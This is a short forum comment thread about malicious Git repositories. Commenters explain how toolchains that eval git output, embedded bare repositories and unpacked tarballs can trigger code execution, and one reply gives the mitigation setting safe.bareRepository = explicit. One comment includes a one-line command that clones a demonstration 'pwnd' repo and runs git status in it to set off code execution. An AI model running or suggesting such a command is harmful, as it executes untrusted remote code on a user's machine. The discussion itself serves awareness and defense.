Re:git-landmine – create local malicious Git repo
by abathur on Sunday July 02, 2023 @02:03AM
(#36558692)
If your toolchain does something silly like eval some output from git, cloning and then triggering that interaction (probably cding in) could be enough.
I made a little test repo for this a while back https://github.com/abathur/LittleGaryGitles :)
Re:git-landmine – create local malicious Git repo
by tomlx on Sunday July 02, 2023 @08:44AM
(#36560959)
git does not clone hooks, but if a subdirectory of a repo has the structure of a bare repo it can hijack git subcommands for code execution. try:
git clone https://git.0x90.space/vmann/pwnd && cd pwnd/whoot && git status
Re:git-landmine – create local malicious Git repo
by darau1 on Sunday July 02, 2023 @09:59AM
(#36561545)
That's terrifying. I'll think twice before cloning any repository from now on.
> not disabled by default yet
You're saying there's a way to "disable" this behavior?
Re:git-landmine – create local malicious Git repo
by tomlx on Sunday July 02, 2023 @10:45AM
(#36561925)
none that i know of
Re:git-landmine – create local malicious Git repo
by joeyh on Sunday July 02, 2023 @11:10AM
(#36562143)
Set safe.bareRepository = explicit.
Lots of editors will also query git repo information for displaying information to the user, and may do this completely automatically.
If you "git clone" the repo, git will not clone hooks from my understanding, so the primary issue is unpacking a tarball with a git repo inside of it and then trying to do something with the repo.